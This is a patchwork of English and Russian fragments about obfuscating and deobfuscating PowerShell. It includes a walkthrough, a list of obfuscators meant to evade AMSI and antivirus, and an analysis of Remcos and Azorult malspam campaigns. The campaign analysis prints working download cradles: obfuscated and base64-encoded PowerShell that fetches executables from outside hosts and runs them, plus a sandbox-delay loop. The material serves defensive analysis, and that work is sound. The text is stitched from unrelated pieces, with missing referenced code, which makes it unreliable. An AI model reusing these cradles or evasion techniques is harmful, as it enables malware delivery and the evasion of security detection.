
These scripts are usually launched by VBA macros, embedded in Office documents, and act as download cradles to retrieve and execute remote secondary stage payloads. These methods can prove quite effective against static signature-based detections.
PowerShell — мощный язык сценариев и инструмент автоматизации в операционных системах Windows. Но иногда вам могут попасться обфусцированные скрипты PowerShell, делает это для усложнения их анализа и реверс-инжиниринга. Далее рассмотрим деобфускацию PowerShell, почему она важна, и какие инструменты использовать для деобфускации скриптов PowerShell.
Еще по теме: Деобфускация зловредного приложения с Dex-Oracle
Created the Friday 12 January 2024. Updated 6 months ago.
PowerShell scripts can be obfuscated using methods that encode commands exclusively with special characters. This technique aims to complicate analysis and potentially evade detection mechanisms.
Attackers frequently employ these tactics to hide the true functionalities of the script, making the analysis more challenging.
Technique Identifier
Detection Rules
Contributors
Additional Resources
External Links

In this part we will analyze the same obfuscated powershell code in another way. Here is the 1st and 2nd part:
iex means invoke-expression which is used to execute powershell command or script.
If we do not remove those pieces of code then code will look like this. See below:
Notice the iex at the end. This iex would then execute this 2nd layer obfuscated code in the memory.
We can see some variables.
Now we have saved the new layer of obfuscated code to char.txt file in desktop. Then we save again the char.txt as char.ps1
Then we open the char.ps1 file in the same way in powershell ise and assign a variable $x
Once it is executed in memory, we redirected the output into a charoutput.txt file in desktop.
The same encryption function that we seen in our part 1.
Now this is one way to find out the encryption function. There is another way. We can use powerdecode powershell tool to uncover the obfuscation layer.
From the above link you can download the tool.
Now execute the script by giving .\GUI.ps1 command.
Now you need to provide the script that you want to decode or deobfuscate. Now it will ask you what would be your destination folder where this tool will save the decoded script. Please provide that folder. Then it will start removing obfuscation layer.
From the 1st layer obfuscation we get another layer obfuscated code. But i saw that the tool failed to decode the 2nd layer. Which i manually did using cyberchef. Please check part-1 writeup.
But thankfully this code successfully decode this part.
The main thing is, you need to have knowledge how to do it manually, then the rest will do this tool.
For your practice I am giving you another code. This tool will help you to decode this as well.
Thanks. I hope you learn something new from here.
Please Subscribe below.

Обфускация кода — это процесс, преобразующий программный код в форму, затрудняющую его понимание как для человека, так и для автоматизированных систем анализа. Этот метод является одним из ключевых элементов в стратегии защиты от обнаружения вредоносного ПО антивирусными системами. Рассмотрим ряд ведущих инструментов обфускации для разнообразных языков программирования.
— Invoke-Stealth – Этот инструмент предназначен для обфускации скриптов PowerShell, помогая скрыть их от систем обнаружения вроде AMSI.
— Chimera – это скрипт обфускации PowerShell, предназначенный для обхода AMSI и антивирусных решений. Он перерабатывает вредоносные PS1, которые, как известно, будят AV, и использует подстановку строк и конкатенацию переменных, чтобы обойти общие сигнатуры обнаружения.
— Pyarmor – Это инструмент командной строки, предназначенный для запутывания сценариев Python, привязки запутанных сценариев к конкретным машинам и установки сроков действия для запутанных сценариев.
— Hyperion – Обфускатор для Python, позволяющий применять более 10 уровней обфускации, сохраняя при этом скрипт компактным и исполняемым на разных платформах и версиях Python.
— Blind-Bash – Универсальный инструмент для обфускации скриптов Bash, улучшающий безопасность за счет усложнения процесса расшифровки. Включает шифрование строк и переменных.
— Bashfuscator – это модульная и расширяемая среда обфускации Bash, написанная на Python 3. Она предоставляет множество различных способов сделать однострочные строки или сценарии Bash гораздо более трудными для понимания. Это достигается за счет генерации запутанного, рандомизированного кода Bash, который во время выполнения оценивает исходный ввод и выполняет его.
— BatchObfuscator – Используя методы обфускации, BatchObfuscator защищает исходный код пакетного скрипта, скрывая конфиденциальную информацию и усложняя процесс обратного проектирования
— VisualBasicObfuscator – Универсальный обфускатор Visual Basic Code, предназначенный для использования во время заданий по тестированию на проникновение. Используется в основном для предотвращения обнаружения антивирусных и почтовых фильтров, а также для задач проверки Blue Teams.
— VBad – Это полностью настраиваемый инструмент обфускации VBA в сочетании с генератором документов MS Office. Его цель – помочь команде «красных и синих» в атаке или защите.
— MacroPack Community – Это инструмент, используемый для автоматизации обфускации и создания ретро-форматов, таких как документы MS Office или формат, подобный VBS. Он также поддерживает различные форматы ярлыков. Этот инструмент можно использовать для красной команды, пентестов и социальной инженерии. MacroPack упростит обход решений по защите от вредоносных программ и очень прост в применении.
Campaign 1 | Remcos RAT Infection from Malicious Excel Macros
Opening the malicious Excel attachment triggers VBA macro execution.

This, in turn, launches the below obfuscated PowerShell download cradle.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping google.com;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.csim\''+pmet:vne$,''UxKUVsB6crz3IBA=yekhtua&07712%58868200A4928F46=diser&58868200A4928F46=dic?daolnwod/moc.evil.evirdeno//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\misc.vbs')Obfuscation Technique 1: Using Random Variable Names & String Concatenation
Here the script strings are split into multiple parts which are then concatenated through the + or -Join operators.
In the script, we see three random alphanumeric variables, $we22, $b4df and $c3, which hold string values. These are then combined to form the fourth variable $TC, using the -Join operator.
($TC=$c3,$b4df,$we22 -Join '')
The value of TC after the Join operation is:
)'sbv.csim\'+pmet:vne$,'UxKUVsB6crz3IBA=yekhtua&.evirdeno//:ptth'(eliFdaolnwoD.)tneilCbeW.teN tcejbO-weN(
Obfuscation Technique 2: String Reversing
The campaign also employs obfuscation through string reversing, using the RightToLeft regex option.
[regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join ''Obfuscation Technique 3: Command Alias
The campaign also makes use of the IEX cmdlet to run the specified string. This is an alias for the Invoke-Expression cmdlet.
Once completely deobfuscated, the PowerShell command would look something like this (Editor’s note: here and throughout, potentially malicious URLs are defanged for the purpose of publication):
"C:\Windows\System32\WindowsPowerShe1ll\v1.0\powershell.exe" ping google.com;IEX((New-Object Net.WebCLient).DownloadFile( 'hXXp://onedrive[.]&authkey=ABI3zrc6BsVUKxU',$env:temp+'\misc.vbs'));start-process($env:temp+ '\misc.vbs')
Деобфускация PowerShell
Деобфускация PowerShell — процесс восстановления исходного, читаемого кода из обфусцированных скриптов на языке PowerShell. Обфускация в данном контексте означает применение различных техник, таких как изменение имен переменных, добавление множественных бесполезных операторов, кодирование и сжатие, с целью затруднения понимания и анализа кода.
Деобфускация PowerShell — важный этап в анализе обфусцированных скриптов. Она позволяет понять функционал скрипта, а также обеспечивает дополнительную защиту, идентифицируя потенциально вредоносный код.
Campaign 3 | Remcos RAT Infection from Malicious Excel Macros

Obfuscation Technique 6: Argument Replacement
powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('hXXps[://]tinyurl[.]com/y4cpohnr'','nm.exe')Obfuscation Technique 7: Escape Character
This technique attempts to obfuscate a PowerShell cmdlet (nEw-oB`jecT ) using the backtick (`) character. Backtick is the escape character in PowerShell.
In PowerShell, there are 14 escape sequences, and all begin with the backtick character. For example, new line is represented as `n. However, in our case `j is not a recognized escape character, and so nEw-oB`jecT will be interpreted as nEw-oBjecT.
Obfuscation Technique 8: Mixed Case Letters
This is pretty straight forward. Since PowerShell cmdlets are not case sensitive, the attacker attempts to mix upper and lower case letters to hopefully evade static signature matchings that are case sensitive.
The final deobfuscated PowerShell command that is run will look something like this:
powershell -w hidden (New-Object Net.Webclient).DownloadFile.Invoke('hXXps[://]tinyurl[.]com/y4cpohnr'', 'nm.exe')Campaign 2 | Azorult Distributed Through Malspam

Obfuscation Technique 4: Encoding (Base64)
The script is first obfuscated in two layers of base64 encoding, before the clear text strings can be seen. (T1140: Deobfuscate/Decode Files or Information).
The first layer of base64 encoding uses the -e option (short for -EncodeCommand).
"C:\Windows\System32\cmd.exe" /c p^ow^ER^s^HE^LL -e WwBzAFkAUwB0AGUAbQAuAFQAZQBYAFQALgBFAE4AYwBvAEQASQBOAGcAXQA6ADoAdQBuAEkAQwBvAEQARQAuAGcAZQB0AHMAdAByAEkAbgBHACgAWwBzAHkAcwB0AGUAbQAuAEMATwBOAHYAZQBSAHQAXQA6ADoAZgBSAE8ATQBCAGEAcwBlADYANABzAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAGUAdwBCAG0AQQBHADgAQQBjAGcAQQBnAEEAQwBnAEEASgBBAEIAcABBAEQAMABBAE0AUQBBADcAQQBDAEEAQQBKAEEAQgBwAEEAQwBBAEEATABRAEIAcwBBAEcAVQBBAEkAQQBBAHgAQQBEAE0AQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEAWQB3AEIAaABBAEgAUQBBAFkAdwBCAG8AQQBIAHMAQQBmAFEAQQBnAEEARwBZAEEAZABRAEIAdQBBAEcATQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEARwBzAEEAYwBRAEIAdABBAEcAVQBBAGEAQQBBAGcAQQBDAGcAQQBJAEEAQQBrAEEASABrAEEAYwBBAEIAbwBBAEcAbwBBAFkAdwBBAGcAQQBDAHcAQQBJAEEAQQBrAEEASABFAEEAYQBBAEIAcwBBAEMAQQBBAEsAUQBBAGcAQQBIAHMAQQBhAFEAQgBOAEEASABBAEEAYgB3AEIAUwBBAEgAUQBBAEwAUQBCAE4AQQBFADgAQQBaAEEAQgBWAEEARQB3AEEAUgBRAEEAZwBBAEcASQBBAGEAUQBCAFUAQQBGAE0AQQBWAEEAQgB5AEEARQBFAEEAVABnAEIAegBBAEUAWQBBAFIAUQBCAHkAQQBEAHMAQQBEAFEAQQBLAEEARgBNAEEAZABBAEIAQgBBAEYASQBBAFYAQQBBAHQAQQBFAEkAQQBhAFEAQgBVAEEASABNAEEAVgBBAEIAUwBBAEcARQBBAGIAZwBCAFQAQQBHAFkAQQBSAFEAQgB5AEEAQwBBAEEATABRAEIAegBBAEcAOABBAGQAUQBCAHkAQQBFAE0AQQBaAFEAQQBnAEEAQwBRAEEAZQBRAEIAdwBBAEcAZwBBAGEAZwBCAGoAQQBDAEEAQQBMAFEAQgBFAEEARwBVAEEAYwB3AEIAVQBBAEcAawBBAGIAZwBCAEIAQQBIAFEAQQBTAFEAQgB2AEEARQA0AEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBJAEEAQgBKAEEARwA0AEEAZABnAEIAdgBBAEcAcwBBAFoAUQBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAawBBAEgARQBBAGEAQQBCAHMAQQBEAHMAQQBmAFEAQQBOAEEAQQBvAEEAZABBAEIAeQBBAEgAawBBAGUAdwBBAGcAQQBDAEEAQQBKAEEAQgBqAEEASABjAEEAZAB3AEIAbwBBAEcAVQBBAFkAZwBBADkAQQBDAFEAQQBaAFEAQgB1AEEASABZAEEATwBnAEIAMABBAEcAVQBBAGIAUQBCAHcAQQBDAHMAQQBKAHcAQgBjAEEASABNAEEAWQB3AEIAMwBBAEgAZwBBAFkAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEATwB3AEEATgBBAEEAbwBBAGEAdwBCAHgAQQBHADAAQQBaAFEAQgBvAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAdgBBAEgASQBBAFoAdwBCAGwAQQBIAEEAQQBjAGcAQgBoAEEASABBAEEAWQBRAEIAegBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBMAHcAQgBqAEEARwBVAEEAYgBRAEEAdgBBAEYAWQBBAFYAZwBCAGEAQQBFADAAQQBXAFEAQgBNAEEARQBnAEEAWQBRAEIAVABBAEUAOABBAFkAdwBCAGkAQQBHAHcAQQBjAFEAQgB2AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBAGcAQQBDAFEAQQBZAHcAQgAzAEEASABjAEEAYQBBAEIAbABBAEcASQBBAE8AdwBBAE4AQQBBAG8AQQBJAEEAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AEkAZQBYAA==
This accepts a base64-encoded string version of a command.
In the second layer of base64 encoding, we see the use of the function FromBase64String().
[sYStem.TeXT.ENcoDINg]::unICoDE.getstrInG([system.CONveRt]::fROMBase64sTriNG("dAByAHkAewBmAG8AcgAgACgAJABpAD0AMQA7ACAAJABpACAALQBsAGUAIAAxADMAMAAwADAAOwAgACQAaQArACsAKQAgAHsAJABpACwAIgBgAG4AIgB9AH0AYwBhAHQAYwBoAHsAfQAgAGYAdQBuAGMAdABpAG8AbgAgAGsAcQBtAGUAaAAgACgAIAAkAHkAcABoAGoAYwAgACwAIAAkAHEAaABsACAAKQAgAHsAaQBNAHAAbwBSAHQALQBNAE8AZABVAEwARQAgAGIAaQBUAFMAVAByAEEATgBzAEYARQByADsADQAKAFMAdABBAFIAVAAtAEIAaQBUAHMAVABSAGEAbgBTAGYARQByACAALQBzAG8AdQByAEMAZQAgACQAeQBwAGgAagBjACAALQBEAGUAcwBUAGkAbgBBAHQASQBvAE4AIAAkAHEAaABsADsAIABJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHEAaABsADsAfQANAAoAdAByAHkAewAgACAAJABjAHcAdwBoAGUAYgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcAHMAYwB3AHgAYwAuAGUAeABlACcAOwANAAoAawBxAG0AZQBoACAAJwBoAHQAdABwADoALwAvAGcAZQBvAHIAZwBlAHAAcgBhAHAAYQBzAC4AYwBvAG0ALwBjAGUAbQAvAFYAVgBaAE0AWQBMAEgAYQBTAE8AYwBiAGwAcQBvAC4AZQB4AGUAJwAgACQAYwB3AHcAaABlAGIAOwANAAoAIAB9AGMAYQB0AGMAaAB7AH0A"))|IeXThe final clear text PowerShell will look something like the example below.
try{for ($i=1; $i -le 13000; $i++) {$i,"`n"}}catch{} function kqmeh ( $yphjc , $qhl ) {iMpoRt-MOdULE biTSTrANsFEr;StART-BiTsTRanSfEr -sourCe $yphjc -DesTinAtIoN $qhl; Invoke-Item $qhl;}try{ $cwwheb=$env:temp+'\scwxc.exe';kqmeh 'hXXp://georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' $cwwheb;}catch{}Although not an obfuscation technique, it’s interesting to note the for loop at the start of the script.
for ($i=1; $i -le 13000; $i++) {$i,"`n"}This just prints numbers from 1–13000. This is most likely implemented to delay secondary stage payload download, in an attempt to exceed time thresholds of automated analysis environments (T1497.003: Virtualization/Sandbox Evasion: Time Based Evasion).
Obfuscation Technique 5: Functions & Try-Catch Block
The final deobfuscated PowerShell command would look something like this:
Import-Module BitsTransfer;Start-BitsTransfer -Source 'hXXp[://]georgeprapas[.]com/cem/VVZMYLHaSOcblqo[.]exe' -Destination$env:temp+'\scwxc.exe';Invoke-Item($env:temp+'\scwxc.exe')
Инструменты деобфускации PowerShell
Вот список популярных деобфускаторов PowerShell:
- Invoke-Obfuscation – инструмент для обфускации и деобфускации скриптов PowerShell, разработанный Дэниэлом Боханноном. Он предоставляет различные методы обфускации и может быть использован для восстановления кода. Использует две основные функции:Get-RvoScriptBlock и Measure-RvoObfuscation. Функция Get-RvoScriptBlock позволяет извлекать локальные или внешние журналы событий (Eventlogs), а функция Measure-RvoObfuscation пытается классифицировать скрипт PowerShell как обфусцированный или нет.
- CyberChef — это онлайн инструмент для кодирования и декодирования данных, разработанный агентством национальной безопасности Великобритании GCHQ. Кодирование и декодирование различными алгоритмами: Base64, Hex, Binary, URL encode и др. Шифрование и дешифрование: XOR, AES, DES и др.
- PSDecode – помогает деобфусцировать скрипты PowerShell, используя различные методы деобфускации. Может декодировать Base64, HEX и другие типы шифрования, используемых в PowerShell. Поддержка всех версий PowerShell, включая PowerShell Core. Часто используется для анализа вредоносных скриптов PowerShell.
- PSScriptAnalyzer – помогает анализировать и деобфусцировать скрипты PowerShell. Инструмент используется для написании кода, так и для анализа существующих скриптов.
- PowerShell Deobfuscator — простой деобфускатор PowerShell. Может помочь восстановить исходный код из обфусцированных скриптов.
- PowerDecode — это инструмент, созданный на базе PowerShell, который позволяет деобфусцировать скрипты PowerShell, обфусцированные через несколько уровней различных методов.
Заключение
Помните, что эффективность деобфускации может зависеть от конкретной обфускации, используемой в скриптах, поэтому иногда может потребоваться комбинированное использование нескольких инструментов для достижения наилучших результатов.
Часто обфусцированные скрипты используют схожие паттерны и методы. Поиск таких паттернов может упростить деобфускацию.
В некоторых случаях есть смысл написать собственные скрипты или программы, используя функции декодирования и распаковки.




